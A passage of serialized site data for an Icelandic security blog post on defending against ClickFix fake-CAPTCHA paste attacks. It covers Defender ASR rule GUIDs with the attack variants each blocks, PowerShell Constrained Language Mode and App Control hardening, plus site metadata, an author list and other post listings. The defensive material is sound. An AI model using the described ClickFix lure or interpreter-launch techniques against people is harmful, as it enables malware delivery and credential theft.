efni",[919,939,941],{"style":940},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff; white-space: nowrap",[550,942,943],{},"d3e037e1-3eb8-44c8-a917-57927947596d",[919,945,946],{"style":936},"WSH, .js eða .vbs sem ræsa niðurhöluð payload",[899,948,901,949,901,952,901,957,897],{},[919,950,951],{"style":921},"Leyfa keyranlegar skrár aðeins uppfylli þær skilyrði um útbreiðslu, aldur eða trusted list",[919,953,954],{"style":925},[550,955,956],{},"01443614-cd74-433a-b99e-2ecdc07bfc25",[919,958,959],{"style":921},"Nýlegar eða sjaldgæfar executables sem eru lagðar niður",[899,961,901,962,901,965,901,970,897],{},[919,963,964],{"style":936},"Loka á keyranlegt efni úr póstforriti og webmail",[919,966,967],{"style":940},[550,968,969],{},"be9ba2d9-53ea-4cdc-84e5-9b1eeee46550",[919,971,972],{"style":936},"ClickFix-afbrigði afhent með tölvupósti",[899,974,901,975,901,978,901,983,897],{},[919,976,977],{"style":921},"Hindra öll Office-forrit í að búa til barnaferli",[919,979,980],{"style":925},[550,981,982],{},"d4f940ab-401b-4efc-aadc-ad5f3c50688a",[919,984,985],{"style":921},"Office-beituafbrigði sem ræsa interpreters",[533,987,988],{},"Rúllaðu ASR fyrst út í audit-ham, svo sem pilot, svo í block-ham. Tamper Protection er síðasta línan: hún hindrar árásaraðilann í að slökkva á greiningunum þínum.",[533,990,991],{},"Hjá PowerShell sjálfu dregur þú úr áhættunni af legacy-interpreterum. Auðkenndu og fjarlægðu, þar sem það er gerlegt, Windows PowerShell 2.0 og legacy-VBScript-einingar sem vantar logging- og security-eiginleika nýrri útgáfa. Næsta skref er Constrained Language Mode (CLM), sem takmarkar þær máleiningar PowerShell sem eru í boði og lokar á margar skriptubundnar aðferðir. CLM hefur aðeins traust öryggisgildi ef system-application-control-policy knýr hann fram (App Control for Business); afbrigðin um umhverfisbreytu og AppLocker eru veikari og hægt að komast fram hjá þeim. Og mörg kerfi þurfa Full Language Mode til að virka, til dæmis software-deployment-tooling, og þess vegna er CLM oft aðeins gerlegur í völdum umhverfum.",[533,993,994],{},"Þar með erum við komin að App Control for Business (áður WDAC). App Control knýr fram code-integrity-policy um það hvaða executables, skript og reklar mega keyra. Stefnumótandi afstaðan er default-deny auk Block Rules sem Microsoft mælir með, þekkta LOLBin- og bypass-loklistans. App Control er líka rétta enforcement-leiðin fyrir PowerShell-CLM. Script enforcement lokar á MSHTA- og MSXML-skripthosta, þvingar PowerShell í CLM og lokar á óleyfilega notkun Windows Script Host. Nokkrar staðreyndir um hegðunina skipta máli:",[803,996,806,997,806,1000,806,1003],{"style":805},[808,998,999],{},"Base policies sem treysta Windows loka ekki sjálfkrafa á treyst LOLBin. Þú verður að merga inn Block Rules sem Microsoft mælir með til að loka þekktu bypössunum.",[808,1001,1002],{},"App Control hindrar ekki undirritað powershell.exe eða cmd.exe í að ræsast. Það takmarkar hvað þau mega gera (CLM, ekkert óundirritað eða óleyfilegt payload) og stýrir ekki innihaldi cmd.exe, .bat eða .cmd. Þess vegna er því lagskipt með ASR og ræsingarherðingu, ekki beitt eitt og sér.",[808,1004,1005],{},"Audit-hamurinn er ekki hlutlaus: script enforcement lokar líka í audit á keyrslu MSHTA og MSXML og getur breytt PowerShell-CLM-hegðuninni. Þess vegna verður App Control í audit að vera afmarkað við pilot eða hringi frá fyrstu útrúllun, aldrei yfir allan flotann.",[533,1007,1008],{},"App Control er sú staka stýring sem hefur hæsta confidence gegn interpreter-, LOLBin- og payload-keyrslufösunum og knýr fram trausta CLM. Um leið ber hún mesta deployment-flækjustigið og hæstu rollback-áhættuna, því röng stilling lokar á keyrslu. Innleiddu hana um stýrða pilot-hringi.",[528,1010,1012],{"id":1011},"hvar-við-komum-inn-í-myndina","Hvar við komum inn í myndina",[533,1014,535],{},[533,1016,1017,1018,1022],{},"ClickFix er hratt, og innbyggðar greiningar Microsoft ná yfir mest af því, en ekki allt. Fyrir CSOC-viðskiptavini okkar víkkum við þekjuna jafnt og þétt þar sem glufur koma í ljós: keyrsla um Windows Terminal, RAT-knúin stuðningssvik og hegðun eftir innbrot. Viltu vita hvar umhverfið þitt stendur, ",[1019,1020,1021],"a",{"href":276},"hafðu þá samband",".",[1024,1025,1026],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":576,"searchDepth":676,"depth":676,"links":1028},[1029,1030,1031,1032,1033,1034,1035,1036,1037],{"id":530,"depth":676,"text":531},{"id":614,"depth":676,"text":615},{"id":626,"depth":676,"text":627},{"id":649,"depth":676,"text":650},{"id":762,"depth":676,"text":763},{"id":792,"depth":676,"text":793},{"id":829,"depth":676,"text":830},{"id":845,"depth":676,"text":846},{"id":1011,"depth":676,"text":1012},"md","post",{"lang":1041,"seoTitle":1042,"titleClass":1043,"date":1044,"categories":1045,"blogtitlepic":1046,"socialimg":1047,"customExcerpt":1048,"keywords":1049,"asideNav":1050,"published":325},"is","Að greina og koma í veg fyrir ClickFix-árásir: Win+R-paste-brellan","h2-font-size","2026-09-21",[235],"head-clickfix.jpg","/blog/heads/head-clickfix.jpg","ClickFix gerir notendur að sínum eigin árásaraðila: falsað CAPTCHA, eitt copy-paste, og skaðkóði keyrir í minninu án þess að neitt lendi á disknum. Hvernig Microsoft Defender greinir árásina, hvar greiningin rekst á takmörk og hvernig þú lokar glufunni með RunMRU-hunt og fjórum varnarlögum.","ClickFix, ClickFix árás, ClickFix greining, koma í veg fyrir ClickFix, falsað CAPTCHA, Win+R árás, RunMRU KQL, Microsoft Defender, Attack Surface Reduction, ASR reglur, App Control for Business, WDAC, Constrained Language Mode, Network Protection, AMSI, Endpoint Privilege Management, Infostealer, LOLBin, PowerShell herðing",{"menuItems":1051},[1052,1055,1058,1061,1064,1067,1070,1073,1076],{"href":1053,"text":1054},"#clickfix-árásarkeðjan","Árásarkeðjan",{"href":1056,"text":1057},"#hvað-microsoft-defender-greinir","Hvað Defender greinir",{"href":1059,"text":1060},"#hvar-innbyggða-greiningin-rekst-á-takmörk-sín","Hvar það strandar",{"href":1062,"text":1063},"#að-loka-glufunni-runmru-hunt","Að loka glufunni",{"href":1065,"text":1066},"#varnarlag-1-loka-á-afhendinguna","Lag 1: afhending",{"href":1068,"text":1069},"#varnarlag-2-loka-á-brelluna","Lag 2: brellan",{"href":1071,"text":1072},"#varnarlag-3-loka-á-aðgerðina","Lag 3: aðgerðin",{"href":1074,"text":1075},"#varnarlag-4-loka-á-keyrsluna","Lag 4: keyrsla",{"href":1077,"text":1012},"#hvar-við-komum-inn-í-myndina","/posts/2026-09-21-clickfix-prevent-detect",{"title":520,"description":576},"posts/2026-09-21-clickfix-prevent-detect",[1082,1083,1084],"Defender","SOC","Endpoint Security","Wr6qNAIi3GD6K8C4tENM8di57MCWaijVV5-tIHdxyts",{"id":1087,"extension":1088,"meta":1089,"stem":8,"__hash__":1438},"authors_data/authors.json","json",{"path":1090,"Fritz Zurhorst":1091,"Alexander Schlindwein":1096,"Sophie Luna":1102,"Nadine Klein":1110,"Karsten Kleinschmidt":1115,"Julian Wendt":1123,"Holger Bunkradt":1128,"Ralf Mania":1134,"Oliver Kieselbach":1140,"Steffen Schwerdtfeger":1146,"Gunnar Winter":1154,"Jan Petersen":1159,"Thorsten Kunzi":1164,"Moritz Pohl":1168,"Thorben Pöschus":1173,"Christoph Hannebauer":1179,"Marco Scheel":1183,"Christopher Brumm":1188,"Florian Klante":1195,"Niklas Bachmann":1200,"Nils Krautkrämer":1205,"Patrick Treptau":1211,"Peter Beckendorf":1216,"Patrick Sobau":1221,"Jörg Wunderlich":1226,"Michael Breither":1230,"Christian Kanja":1235,"Zeba Hoffmann":1241,"Jochen Fröhlich":1246,"Jan Geisbauer":1250,"Gerrit Reinke":1262,"Christian Kordel":1268,"Stephan Wälde":1272,"Carolin Kanja":1277,"Adrian Ritter":1283,"Marvin Bangert":1288,"Thorsten Pickhan":1294,"Christian Lorenz":1300,"Denis Böhm":1305,"Fabian Bader":1310,"Juan Jose Fernandez Perez":1316,"Mahschid Sayyar":1321,"Benjamin Dassow":1326,"Markus Walschburger":1331,"Jonathan Haist":1336,"Daniel Rohregger":1341,"Thomas Naunheim":1346,"Florian Stöckl":1351,"Pascal Asch":1356,"Markus Kättner":1361,"Anna Ulbricht":1368,"Annette Brauns":1375,"body":1381,"title":1437},"/authors",{"display_name":522,"avatar":1092,"permalink":1093,"linkedin":1094,"imageOffsetTop":1095},"people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":1097,"avatar":1098,"permalink":1099,"twitter":1100,"linkedin":1101},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":1103,"avatar":1104,"permalink":1105,"twitter":1106,"linkedin":1107,"imageOffsetLeft":1108,"imageOffsetTop":1109},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":523,"avatar":1111,"permalink":1112,"twitter":1113,"linkedin":1114,"imageOffsetTop":1095},"people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":1116,"avatar":1117,"permalink":1118,"twitter":1119,"linkedin":1120,"imageOffsetTop":1121,"imageOffsetLeft":1122},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":1124,"avatar":1125,"permalink":1126,"linkedin":1127},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":1129,"avatar":1130,"permalink":1131,"linkedin":1132,"twitter":1133},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":1135,"avatar":1136,"permalink":1137,"linkedin":1138,"twitter":1139},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":1141,"avatar":1142,"permalink":1143,"linkedin":1144,"twitter":1145},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":1147,"avatar":1148,"permalink":1149,"linkedin":1150,"twitter":1151,"imageOffsetTop":1152,"imageOffsetLeft":1153},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":1155,"avatar":1156,"permalink":1157,"twitter":1106,"linkedin":1158},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":1160,"avatar":1161,"permalink":1162,"twitter":1106,"linkedin":1163},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":1165,"avatar":1166,"permalink":1167,"twitter":1106,"linkedin":1158,"imageOffsetTop":1095},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":1169,"avatar":1170,"permalink":1171,"twitter":1106,"linkedin":1172},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":1174,"avatar":1175,"permalink":1176,"twitter":1177,"linkedin":1178},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":1180,"avatar":1181,"permalink":1182,"twitter":1106,"linkedin":1158,"imageOffsetTop":1095},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":1184,"avatar":1185,"permalink":1186,"twitter":1187,"linkedin":1187},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":1189,"avatar":1190,"permalink":1191,"twitter":1192,"linkedin":1193,"imageOffsetTop":1194},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":1196,"avatar":1197,"permalink":1198,"linkedin":1199,"twitter":1106},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":1201,"avatar":1202,"permalink":1203,"linkedin":1204,"twitter":1106},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":1206,"avatar":1207,"permalink":1208,"twitter":1209,"linkedin":1210},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":1212,"avatar":1213,"permalink":1214,"linkedin":1215,"twitter":1106},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":1217,"avatar":1218,"permalink":1219,"linkedin":1220,"twitter":1106,"imageOffsetTop":1095},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":1222,"avatar":1223,"permalink":1224,"linkedin":1225,"twitter":1106},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":1227,"avatar":1228,"permalink":1229,"twitter":1106},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":1231,"avatar":1232,"permalink":1233,"twitter":1106,"linkedin":1234},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":1236,"avatar":1237,"permalink":1238,"twitter":1239,"linkedin":1240},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":1242,"avatar":1243,"permalink":1244,"linkedin":1245,"twitter":1106},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":1247,"avatar":1248,"permalink":1249,"twitter":1106,"linkedin":1158},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":1251,"avatar":1252,"permalink":1253,"twitter":1254,"linkedin":1254,"imageOffsetTop":1095,"socials":1255},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[1256,1259],{"text":1257,"href":1258},"Blog","https://emptydc.com",{"text":1260,"href":1261},"Podcast","https://hairlessinthecloud.com",{"display_name":1263,"avatar":1264,"permalink":1265,"twitter":1266,"linkedin":1267},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":1269,"avatar":1270,"permalink":1271,"twitter":1106,"linkedin":1158},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":1273,"avatar":1274,"permalink":1275,"twitter":1276,"linkedin":1158},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":1278,"avatar":1279,"permalink":1280,"twitter":1281,"linkedin":1282},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":1284,"avatar":1285,"permalink":1286,"twitter":1287,"linkedin":1287},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":1289,"avatar":1290,"permalink":1291,"twitter":1292,"linkedin":1293},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":1295,"avatar":1296,"permalink":1297,"twitter":1298,"linkedin":1299},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":1301,"avatar":1302,"permalink":1303,"linkedin":1304,"twitter":1106},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":1306,"avatar":1307,"permalink":1308,"linkedin":1309,"twitter":1106},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":1311,"avatar":1312,"permalink":1313,"linkedin":1314,"twitter":1315},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":1317,"avatar":1318,"permalink":1319,"linkedin":1320},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":1322,"avatar":1323,"permalink":1324,"linkedin":1325},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":1327,"avatar":1328,"permalink":1329,"linkedin":1330},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":1332,"avatar":1333,"permalink":1334,"linkedin":1335},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":1337,"avatar":1338,"permalink":1339,"linkedin":1340,"imageOffsetTop":1095},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":1342,"avatar":1343,"permalink":1344,"linkedin":1345,"imageOffsetTop":1095},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":1347,"avatar":1348,"permalink":1349,"linkedin":1350,"imageOffsetTop":1194},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":1352,"avatar":1353,"permalink":1354,"linkedin":1355,"imageOffsetTop":1194},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":1357,"avatar":1358,"permalink":1359,"linkedin":1360,"imageOffsetTop":1194},"Pascal Asch","people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":1362,"avatar":1363,"permalink":1364,"linkedin":1365,"imageOffsetTop":1366,"imageOffsetLeft":1367},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":1369,"avatar":1370,"permalink":1371,"linkedin":1372,"imageOffsetTop":1373,"imageOffsetLeft":1374},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":1376,"avatar":1377,"permalink":1378,"linkedin":1379,"imageOffsetTop":1380,"imageOffsetLeft":1121},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":1382,"Alexander Schlindwein":1383,"Sophie Luna":1384,"Nadine Klein":1385,"Karsten Kleinschmidt":1386,"Julian Wendt":1387,"Holger Bunkradt":1388,"Ralf Mania":1389,"Oliver Kieselbach":1390,"Steffen Schwerdtfeger":1391,"Gunnar Winter":1392,"Jan Petersen":1393,"Thorsten Kunzi":1394,"Moritz Pohl":1395,"Thorben Pöschus":1396,"Christoph Hannebauer":1397,"Marco Scheel":1398,"Christopher Brumm":1399,"Florian Klante":1400,"Niklas Bachmann":1401,"Nils Krautkrämer":1402,"Patrick Treptau":1403,"Peter Beckendorf":1404,"Patrick Sobau":1405,"Jörg Wunderlich":1406,"Michael Breither":1407,"Christian Kanja":1408,"Zeba Hoffmann":1409,"Jochen Fröhlich":1410,"Jan Geisbauer":1411,"Gerrit Reinke":1415,"Christian Kordel":1416,"Stephan Wälde":1417,"Carolin Kanja":1418,"Adrian Ritter":1419,"Marvin Bangert":1420,"Thorsten Pickhan":1421,"Christian Lorenz":1422,"Denis Böhm":1423,"Fabian Bader":1424,"Juan Jose Fernandez Perez":1425,"Mahschid Sayyar":1426,"Benjamin Dassow":1427,"Markus Walschburger":1428,"Jonathan Haist":1429,"Daniel Rohregger":1430,"Thomas Naunheim":1431,"Florian Stöckl":1432,"Pascal Asch":1433,"Markus Kättner":1434,"Anna Ulbricht":1435,"Annette Brauns":1436},{"display_name":522,"avatar":1092,"permalink":1093,"linkedin":1094,"imageOffsetTop":1095},{"display_name":1097,"avatar":1098,"permalink":1099,"twitter":1100,"linkedin":1101},{"display_name":1103,"avatar":1104,"permalink":1105,"twitter":1106,"linkedin":1107,"imageOffsetLeft":1108,"imageOffsetTop":1109},{"display_name":523,"avatar":1111,"permalink":1112,"twitter":1113,"linkedin":1114,"imageOffsetTop":1095},{"display_name":1116,"avatar":1117,"permalink":1118,"twitter":1119,"linkedin":1120,"imageOffsetTop":1121,"imageOffsetLeft":1122},{"display_name":1124,"avatar":1125,"permalink":1126,"linkedin":1127},{"display_name":1129,"avatar":1130,"permalink":1131,"linkedin":1132,"twitter":1133},{"display_name":1135,"avatar":1136,"permalink":1137,"linkedin":1138,"twitter":1139},{"display_name":1141,"avatar":1142,"permalink":1143,"linkedin":1144,"twitter":1145},{"display_name":1147,"avatar":1148,"permalink":1149,"linkedin":1150,"twitter":1151,"imageOffsetTop":1152,"imageOffsetLeft":1153},{"display_name":1155,"avatar":1156,"permalink":1157,"twitter":1106,"linkedin":1158},{"display_name":1160,"avatar":1161,"permalink":1162,"twitter":1106,"linkedin":1163},{"display_name":1165,"avatar":1166,"permalink":1167,"twitter":1106,"linkedin":1158,"imageOffsetTop":1095},{"display_name":1169,"avatar":1170,"permalink":1171,"twitter":1106,"linkedin":1172},{"display_name":1174,"avatar":1175,"permalink":1176,"twitter":1177,"linkedin":1178},{"display_name":1180,"avatar":1181,"permalink":1182,"twitter":1106,"linkedin":1158,"imageOffsetTop":1095},{"display_name":1184,"avatar":1185,"permalink":1186,"twitter":1187,"linkedin":1187},{"display_name":1189,"avatar":1190,"permalink":1191,"twitter":1192,"linkedin":1193,"imageOffsetTop":1194},{"display_name":1196,"avatar":1197,"permalink":1198,"linkedin":1199,"twitter":1106},{"display_name":1201,"avatar":1202,"permalink":1203,"linkedin":1204,"twitter":1106},{"display_name":1206,"avatar":1207,"permalink":1208,"twitter":1209,"linkedin":1210},{"display_name":1212,"avatar":1213,"permalink":1214,"linkedin":1215,"twitter":1106},{"display_name":1217,"avatar":1218,"permalink":1219,"linkedin":1220,"twitter":1106,"imageOffsetTop":1095},{"display_name":1222,"avatar":1223,"permalink":1224,"linkedin":1225,"twitter":1106},{"display_name":1227,"avatar":1228,"permalink":1229,"twitter":1106},{"display_name":1231,"avatar":1232,"permalink":1233,"twitter":1106,"linkedin":1234},{"display_name":1236,"avatar":1237,"permalink":1238,"twitter":1239,"linkedin":1240},{"display_name":1242,"avatar":1243,"permalink":1244,"linkedin":1245,"twitter":1106},{"display_name":1247,"avatar":1248,"permalink":1249,"twitter":1106,"linkedin":1158},{"display_name":1251,"avatar":1252,"permalink":1253,"twitter":1254,"linkedin":1254,"imageOffsetTop":1095,"socials":1412},[1413,1414],{"text":1257,"href":1258},{"text":1260,"href":1261},{"display_name":1263,"avatar":1264,"permalink":1265,"twitter":1266,"linkedin":1267},{"display_name":1269,"avatar":1270,"permalink":1271,"twitter":1106,"linkedin":1158},{"display_name":1273,"avatar":1274,"permalink":1275,"twitter":1276,"linkedin":1158},{"display_name":1278,"avatar":1279,"permalink":1280,"twitter":1281,"linkedin":1282},{"display_name":1284,"avatar":1285,"permalink":1286,"twitter":1287,"linkedin":1287},{"display_name":1289,"avatar":1290,"permalink":1291,"twitter":1292,"linkedin":1293},{"display_name":1295,"avatar":1296,"permalink":1297,"twitter":1298,"linkedin":1299},{"display_name":1301,"avatar":1302,"permalink":1303,"linkedin":1304,"twitter":1106},{"display_name":1306,"avatar":1307,"permalink":1308,"linkedin":1309,"twitter":1106},{"display_name":1311,"avatar":1312,"permalink":1313,"linkedin":1314,"twitter":1315},{"display_name":1317,"avatar":1318,"permalink":1319,"linkedin":1320},{"display_name":1322,"avatar":1323,"permalink":1324,"linkedin":1325},{"display_name":1327,"avatar":1328,"permalink":1329,"linkedin":1330},{"display_name":1332,"avatar":1333,"permalink":1334,"linkedin":1335},{"display_name":1337,"avatar":1338,"permalink":1339,"linkedin":1340,"imageOffsetTop":1095},{"display_name":1342,"avatar":1343,"permalink":1344,"linkedin":1345,"imageOffsetTop":1095},{"display_name":1347,"avatar":1348,"permalink":1349,"linkedin":1350,"imageOffsetTop":1194},{"display_name":1352,"avatar":1353,"permalink":1354,"linkedin":1355,"imageOffsetTop":1194},{"display_name":1357,"avatar":1358,"permalink":1359,"linkedin":1360,"imageOffsetTop":1194},{"display_name":1362,"avatar":1363,"permalink":1364,"linkedin":1365,"imageOffsetTop":1366,"imageOffsetLeft":1367},{"display_name":1369,"avatar":1370,"permalink":1371,"linkedin":1372,"imageOffsetTop":1373,"imageOffsetLeft":1374},{"display_name":1376,"avatar":1377,"permalink":1378,"linkedin":1379,"imageOffsetTop":1380,"imageOffsetLeft":1121},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":1440,"authors":1646},[1441,1457,1462,1476,1492,1505,1518,1531,1543,1559,1573,1588,1606,1617,1630],{"id":1442,"title":1443,"author":1444,"cta":494,"description":576,"hideInRecent":484,"layout":1039,"meta":1445,"moment":1449,"path":1450,"stem":1451,"tags":1452,"webcast":484},"content_is/posts/2026-09-22-end-of-mfa-sms.md","Endalok MFA-SMS",[1116],{"lang":1041,"date":1044,"categories":1446,"blogtitlepic":1447,"customExcerpt":1448},[235],"head-conditional-access.jpg","Hvers vegna fyrirtæki ættu núna að skipta yfir í phishing-resistant og sem mest lykilorðalausar innskráningaraðferðir.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[235,1453,1454,1455,1456],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":519,"title":520,"author":1458,"cta":494,"description":576,"hideInRecent":484,"layout":1039,"meta":1459,"moment":1044,"path":1078,"stem":1080,"tags":1461,"webcast":484},[522,523],{"lang":1041,"date":1044,"categories":1460,"blogtitlepic":1046,"customExcerpt":1048},[235],[1082,1083,1084],{"id":1463,"title":1464,"author":1465,"cta":494,"description":576,"hideInRecent":484,"layout":1039,"meta":1466,"moment":1044,"path":1470,"stem":1471,"tags":1472,"webcast":484},"content_is/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin og dagleg vinna á sömu tölvu? Game Over.",[1251],{"lang":1041,"date":1044,"categories":1467,"blogtitlepic":1468,"customExcerpt":1469},[235],"head-game-over-en.jpg","Hvers vegna einn tenant dugar ekki fyrir CIO, og hvers vegna sá seinni er sjaldan hugsaður með. Managed Red Tenant aðskilur stjórnsýsluvinnu frá office-umhverfinu með sjálfum arkitektúrnum, Managed Dark Tenant heldur fyrirtækinu starfhæfu þegar vörnin fellur samt. Hvað það þýðir fyrir rekstrarlíkanið, SOC-merkið og sönnunarskyldurnar samkvæmt NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[235,1473,1474,1475],"Privileged Access","Zero Trust","NIS2",{"id":1477,"title":1478,"author":1479,"cta":494,"description":1480,"hideInRecent":484,"layout":1039,"meta":1481,"moment":1482,"path":1487,"stem":1488,"tags":1489,"webcast":484},"content_is/posts/2026-08-08-isg-germany-2026.md","Fjórum sinnum Leader. glueckkanja í ISG-rannsókninni Þýskaland 2026",[1278],"ISG endurnefndi rannsóknina sína í ár. Úr Microsoft Cloud Ecosystem varð Microsoft AI and Cloud Ecosystem, og með nafninu hefur mælikvarðinn færst til: metið er ekki lengur hver innleiðir Microsoft-vettvanga, heldur hver rekur Copilot, agenta og AI-workload með stýranlegum hætti. Nýi mælikvarðinn hefur engu breytt um stöðu okkar. ISG Provider Lens® rannsóknin Þýskaland 2026 staðsetur okkur sem Leader í fjórum fjórðungum: Microsoft Productivity and Business Process Services og Azure Managed Services, hvorum tveggja á large market og mid market. Eftir 2021, 2023, 2024 og 2025 er þetta fimmta Leader-flokkunin í Þýskalandi, í Sviss kom stökkið inn í Leader-fjórðunginn tveimur vikum fyrr.",{"lang":1041,"date":1482,"categories":1483,"blogtitlepic":1485,"customExcerpt":1486},"2026-08-08",[1484],"Corporate","head-isg-de-2026.png","ISG Provider Lens® rannsóknin 2026 staðsetur glueckkanja í Þýskalandi sem Leader í fjórum fjórðungum: Microsoft Productivity and Business Process Services og Azure Managed Services, hvorum tveggja á large og mid market. Rannsóknin heitir nú Microsoft AI and Cloud Ecosystem, og mælikvarðinn hefur færst til: metið er hver rekur AI- og agent-workload með stýranlegum hætti.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[1490,1491],"Award","ISG",{"id":1493,"title":1494,"author":1495,"cta":494,"description":1496,"hideInRecent":484,"layout":1039,"meta":1497,"moment":1498,"path":1502,"stem":1503,"tags":1504,"webcast":484},"content_is/posts/2026-07-31-isg-switzerland-2026.md","Úr Rising Star í Leader. glueckkanja í ISG-rannsókninni Sviss 2026",[1278],"Árið 2024 stofnuðum við glueckkanja Switzerland AG og fluttum inn í skrifstofu í zentroom við Bahnhofplatz 10b í Bern. Árið 2025 flokkaði ISG okkur sem Rising Star á svissneska markaðnum, sem þann þjónustuaðila sem greinendurnir treysta til að stökkva inn í Leader-fjórðunginn. Nú er stökkið skjalfest: ISG Provider Lens® rannsóknin 2026 staðsetur okkur í 